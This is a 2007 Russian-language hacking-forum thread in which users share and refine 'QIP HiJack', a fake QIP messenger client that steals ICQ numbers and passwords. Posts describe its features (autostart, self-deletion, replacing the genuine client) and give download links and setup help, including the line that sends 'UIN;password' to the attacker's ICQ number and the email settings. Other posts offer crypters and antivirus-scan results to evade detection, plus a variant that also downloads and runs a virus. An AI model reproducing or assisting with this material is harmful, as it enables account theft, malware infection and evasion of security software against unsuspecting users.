Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- Защита ОС: вирусы, антивирусы, файрволы. (https://forum.antichat.xyz/forumdisplay.php?f=80)

- - QIP HiJack (https://forum.antichat.xyz/showthread.php?t=42769)

LESHIY

21.06.2007 16:45

QIP HiJack

c0ded by LESHIY & TheSADIST
ICQ:86626
TheSADIST
Icq: 603590

1.Убрал при запуске форму #3
т.к. из за неё была ошибка с остальными формами..
Если когото смущает - Project:Options и перенисите форму 3 в список активных
И поставьте её в качестве MainForm
2. Сделал якобы регистрацию с одной картинкой.
Исправил пару мелких багов.
Работаю на данный момент с фтп и статистикой..

Данное ПО предоставленно только в качестве ознакомительных целей..
За нанесение ущерба кому либо автора данного ЛжеQIP ответственности не несут.
Download

ReanimatoR

21.06.2007 16:50

а описание?) что делает то?)

LESHIY

21.06.2007 17:16

Угумс..
Писдит пароли с квипа, т.е. пользователь сам отправляет вам свой пароль на мыло и на асикуу.. Дизайн почти один в один, кому что то ненравится, пусть переделывает..

LESHIY

21.06.2007 18:10

Хм, а разве у нас палится? У нас ещё отправка на мыло, и сейчас добавлю ещё несколько функций.. И притом с открытым кодом..
"Зделаю фейки любой сложности пример: " С этим сорцом можно сделать самому..
У кого есть фантазия, сделать это проще простого.

Eng1nE

21.06.2007 19:23

LESHIY & TheSADIST +1 респект парни, за то 4то кодите для паблика. Немного доработать и всё будет ок.

Ch3ck

21.06.2007 19:47

opsik не тот раздел. В продажи со своим.

skzi	21.06.2007 19:51

exe выкладывайте плиз

LESHIY

21.06.2007 20:40

Новая версия!=))
Итак:
1. Всплывающее окно о том что подключится нельзя=))
2. Самоудаление (По желанию)
3. CopyFile в папку с QIP, заменение файла QIP=))
У меня там куча ошибок в тексте, желательно вам их исправить=)
http://www.airwaychat.info/ICQ_pict.PNG

Скачать

gold-goblin

21.06.2007 20:54

Прога нормальная.

Цитата:

У меня там куча ошибок в тексте, желательно вам их исправить=)

Главное чтоб в коде ошибок небыло.

gold-goblin

21.06.2007 22:30

opsik
Когда у тебя что-то не выходит с первого раза ты сразу бежишь менять пороли и т.д.
Ваш совт разный и то что его совта более популярна обьесняется ее халявностью.
P.S. Сделай так чтоб пороль на аси сразу менялся и не будет проблем

legend

21.06.2007 23:03

чё то не врубаюсь а как запустить то какой файл запускать и чё делать?

LESHIY

22.06.2007 02:03

Функции:
1.Самоудаление
2.Автозагрузка
3.Закрытие оригинального QIP
4.Копирование ЛжеQIP в папку с настоящим=)
5.Отправка на мыло number;password!
6.Отправка на ICQ number;password! thnx coban2k!
7. Всплывающее окно даже со звуком!=)))
Всё это по желанию(см. сорцы)

Планируется:
Отправка номер;пасс на фтп-гейт=))

Данный софт и исходный код предоставленн только в качестве ознакомительных целей.
Автора данного по ответственности не несут=)

http://www.airwaychat.info/FuckQIP_img.JPG

QIP HiJack!

Рузультат проверки на ВирусСкан:
A-Squared
Found nothing
AntiVir
Found nothing
ArcaVir
Found nothing
Avast
Found Win32:Small-DJC
AVG Antivirus
Found nothing
BitDefender
Found nothing
ClamAV
Found nothing
Dr.Web
Found nothing
F-Prot Antivirus
Found nothing
F-Secure Anti-Virus
Found nothing
Fortinet
Found nothing
Kaspersky Anti-Virus
Found nothing
NOD32
Found nothing
Norman Virus Control
Found nothing
Panda Antivirus
Found nothing
Rising Antivirus
Found nothing
VirusBuster
Found Packed/FSG
VBA32
Found nothing

Isis	22.06.2007 04:13

Нашел мелкие баги....

Найти:

Код:

procedure TForm1.btn5Click(Sender: TObject);

var

m:Pchar;

begin

if edt2.Text=''

then

ShowMessage('Введите пароль для регистрации нового номера ICQ');

sleep(2000);

Image1.Visible:=true;

pnl2.Caption:='Картинка полученна...'

end;

Заменить на

Код:

procedure TForm1.btn5Click(Sender: TObject);

var

m:Pchar;

begin

if edt2.Text='' then

ShowMessage('Введите пароль для регистрации нового номера ICQ')

else begin

  Image1.Visible := true;

  pnl2.Caption := 'Картинка получена..'

end;

end;

Т.к. если поле нового пароля пусто и нажать на кнопку "Показать новую картинку" то выведется алерт о том что пароль не введен, но потом все равно картинка загрузится

LESHIY

22.06.2007 23:26

http://www.airwaychat.info/crypt.JPG
Криптор для QIP у кого он спалится=)
http://www.airwaychat.info/QIP[CRYPT].rar

A-Squared Found nothing
AntiVir Found nothing
ArcaVir Found nothing
Avast Found nothing
AVG Antivirus Found nothing
BitDefender Found BehavesLike:Win32.ProcessHijack (probable variant)
ClamAV Found nothing
Dr.Web Found nothing
F-Prot Antivirus Found nothing
F-Secure Anti-Virus Found nothing
Fortinet Found nothing
Kaspersky Anti-Virus Found nothing
NOD32 Found nothing
Norman Virus Control Found nothing
Panda Antivirus Found nothing
Rising Antivirus Found nothing
VirusBuster Found nothing
VBA32 Found nothing

Jey	23.06.2007 14:19

Большое спасибо автору, отличная вещь.
Но у меня возникло несколько вопросов, так как туго у меня с делфи.
В делфи 7 при открытии исходника у меня выскакивает ошибка
http://slil.ru/24548559
Может подскажите как исправить.
И еще где в коде прописать на какую ась будут уплывать парли?

TheSADIST

23.06.2007 16:03

В общем проблем нет никаких...
Установи асику компонент. Он лежит в папке с сорцами в ICQclient Components ну или что-то наподобии =) Просто у нас с лешим немного разные названия т.к. выкладывает он и последняя редакция его... =)
А аську и пароль надо вписывать в форме 1 в самом низу два текст эдита...

raven lary

23.06.2007 16:31

а кампилятор када буит?)

TheSADIST

23.06.2007 19:08

Будет билдер. если проект будет развиваться =)

Jey	23.06.2007 22:55

Цитата:

Сообщение от TheSADIST

А аську и пароль надо вписывать в форме 1 в самом низу два текст эдита...

Так, компонеты я добавил.
Вот немного не втыкаю куда асю прописать куда пароли будут отплывать.

Вот отрывок из формы 1 (низ страници)

Код:

procedure TForm1.btn5Click(Sender: TObject);

var

m:Pchar;

begin

if edt2.Text=''

then

ShowMessage('Введите пароль для регистрации нового номера ICQ');

sleep(2000);

Image1.Visible:=true;

pnl2.Caption:='Картинка полученна..'

end;



procedure TForm1.edt3Change(Sender: TObject);

begin

if edt3.Text='35347' then

btn6.Enabled:=true

else

btn6.Enabled:=false;

end;

Правельно я выделил зеленым цветом куда надо вписать свою аську ?
Извените, но тока скачал учебник по делфи.
Спасибо заранее.

LESHIY

23.06.2007 23:40

Писдец чел даёш..
То что ты выделил = процесс регистрации а аську вписывать в SendMessage

TheSADIST

24.06.2007 00:18

Нет не правильно.
Нажми на один из текстэдитов.
В колонке слева, найди Name
Посмотри по коду, где находится компонент с таким именем, или где процесс, функция, с использованием данного имени....
Это на будущее как искать.
А вообще слева УИН справа ПАРОЛЬ. Если ты ничего ещё не намудрил...

Jey	24.06.2007 15:43

Спасибо всем настроил.
Смущало лиш то что палил касперский.
Скачал криптор для квипа, но там выскакивала ошибка типа не найден ico файл, хотя он был в папке, ну это не самое главное.
Тогда я попробывал зокриптовать криптором, точнее двумя для пинча.
Какраз скачал сегодня в соседней теме про джойнер.
Скачать можно тут http://jeyhax.ifolder.ru/2468378
Cначала Pohernah_2 (некаких галочек)
Потом Morphnah_beta2
В результате получтли http://jeyhax.ifolder.ru/2468432
На http://virusscan.jotti.org/ нипалит ниодин антивирь.
Да чуть не забыл, проверял на работоспособность после крипта, все работает.

xaker-boss

25.06.2007 15:41

Представляю вам своё произведение:
Корочи она действует почти под такимже принцепом как и у вас. Когда жертва запустит эту шнягу в ведёт свои данные и нажмёт (ок), эти данные отправятся вам на ваш icq uin , + она скачает и запустит вирус у неё на компе.
1.Вам необходимо откомпелировать это приложение! Если вы запустите у себя это приложение ничего страшного ГЛАВНОЕ НЕНАЖИМАЙТЕ КНОПКУ (ОК), а то вить сами понемаете что вирус залезит к вам в пк и запустится...
Корочи говоря я внутри исходника написал что и где вам надо править. Чтобы откомпелить приложение надо открыть фаил Project1 ну это все наверно знают.
Качаем:
www.kazino.forum-mp3.org/Plugin ICQ.rar
Пароль: forum-mp3

Про + незабываем.

LESHIY

26.06.2007 10:55

ыыы
Молодцы!
Стоило отехать на 2 дня, развили тему!=))

Eng1nE

26.06.2007 11:11

Давайте ребята не стоим на месте! Делаем фейк виндос, оперы и про4его ))
PandoraBox +1

ch[@]ch

27.06.2007 14:16

гуд гуд...только на нубов пройдет...лично я сразу же меняю пароль....и 2...как можно внедрить прогу человеку??если ты его влицо не видел???

†Nood1e†

27.06.2007 14:27

ch[@]ch как внедрить прогу это уже твои проблемы !

PandoraBox

05.07.2007 22:02

Fuck QIP Infium (modification by Pandora)

http://img267.imageshack.us/img267/8...pinfiumsq4.jpg

Проверка virustotal.com:
http://img209.imageshack.us/img209/8091/128gz1.jpg

Изменения с предыдущей версии:
[+] Добавлен Version Info
[+] Авто определения размера окна TScreen
[+] Картинки (модификация), иконки, лицензия для инсталяхи допишите времени небыло (NSIS в помощь)
[*] Переделан с FuckQIP в FuckQIPInfium
[*] Изменено главное окно
[*] Изменено окно сообщений

[-] Удалена ненужная форма Прокси

Цитата:

Настройка в форме окна frmMan:
MailLogin - Логин мыла
MailPassword - Пароль мыла
MailServer - По умолчанию mail.ru

Для смены STMP сервера поменяйте строчку
IdSMTP1.Host := PChar('smtp.mail.ru');
если у сервера не по умолчанию порт добовляем строчку
IdSMTP1.Port := N;
где N = порту

[для отсылки по ICQ]
uin_connect - UIN для подключение
password_connect - Пароль для подключение

Обратите внимание на строчку в коде ICQClient1.SendMessage(7133098,UIN.Text+';'+Passwo rdEdit1.Text);
7133098 - нада поменять на свой номер аси, куда будет приходить все отчеты а так же, настроен на отправку на мыло :biggrin:

Исходник фейка можна скачать тут: FuckQIPinfium_pack.rar
Пароль для скачки и на архив: pandora

Обновил архив перезалил компоненты

Данное программное обеспечение предоставлено только в ознакомительных целях.
Автор программы ни несет ответственности за действие программы и ее последствие.

DeBugger

17.07.2007 13:03

У меня вопрос: Зачем отправлять название профиля и пароль от него?
Что полезного в получении скажем vasya;qwerty или Seryi;123456 ?

Lokofan

19.07.2007 10:34

При открытии исходников Дельфи ругаеться .. ппц как не знаю что и деть! Снчало пишет две Error Reading Form, типа не может найти TICQClient и TPasswordEdit хотя они в папке..ваще чё то ппц(

a1ex	19.07.2007 10:37

Цитата:

Поподробнее.

Piflit

19.07.2007 10:47

Цитата:

Сообщение от a1ex

Поподробнее.

может у него компоненты не установлены?

a1ex	19.07.2007 10:50

Я тоже много мучался с ентими компонентами, потом просто установил в папку скопировал и фсё работает.хз чё у него там он же не пишет.

DeBugger

21.07.2007 10:30

Цитата:

Сообщение от Lokofan

Тоже самое было. Нужно проинсталлировать содержимое папок в качестве компонентов. Я ещё все файлы пихал через "Add to Project", а то там ещё что-то не сошлось.

@ps1k

21.07.2007 14:20

а смысл?
вас колбасит юзать этот кип, он же не програма а обычное окошно

Alexander

21.08.2007 14:56

пересалеити плис

Время: 21:01